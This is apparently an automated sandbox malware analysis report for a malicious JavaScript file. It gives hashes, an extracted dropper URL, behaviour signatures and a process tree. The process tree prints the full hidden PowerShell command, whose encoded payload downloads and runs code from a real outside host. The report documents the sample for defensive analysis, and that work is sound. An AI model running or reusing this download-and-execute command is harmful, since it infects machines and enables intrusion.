Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-01-2024 22:47

General

  • Target

    421bd11283643c4e52bf1400632d4af9.js

  • Size

    220KB

  • MD5

    421bd11283643c4e52bf1400632d4af9

  • SHA1

    a3b3b9eafe361104c0ffc65fa95c28271db4dbd5

  • SHA256

    aba892549c2411d2bd6d246d60458a8d12ee74c3f71503c26555b545cb068d91

  • SHA512

    bc1801634ec610da0ba24771a9a9575228cbe2f35c47b03d22ff7cfbcd511a3ce96b819897efee42fa87d107d4b9debe4842e93f95c63bb21724aa2d2a428404

  • SSDEEP

    6144:2kpu3BdD+cHjQnKBam64bkwzPbb+F82p26bXQWH0EASGRwEol:2kpu3BdD+cHjQnKBam64NPcDsEjDl

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://grupotopbem.com.br/ashkere.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\421bd11283643c4e52bf1400632d4af9.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2312
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1evrdq0v.s2y.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3788-11-0x00007FF9DA580000-0x00007FF9DB041000-memory.dmp

    Filesize

    10.8MB

  • memory/3788-13-0x0000029BF21C0000-0x0000029BF21D0000-memory.dmp

    Filesize

    64KB

  • memory/3788-12-0x0000029BF21C0000-0x0000029BF21D0000-memory.dmp

    Filesize

    64KB

  • memory/3788-2-0x0000029BF20E0000-0x0000029BF2102000-memory.dmp

    Filesize

    136KB

  • memory/3788-16-0x00007FF9DA580000-0x00007FF9DB041000-memory.dmp

    Filesize

    10.8MB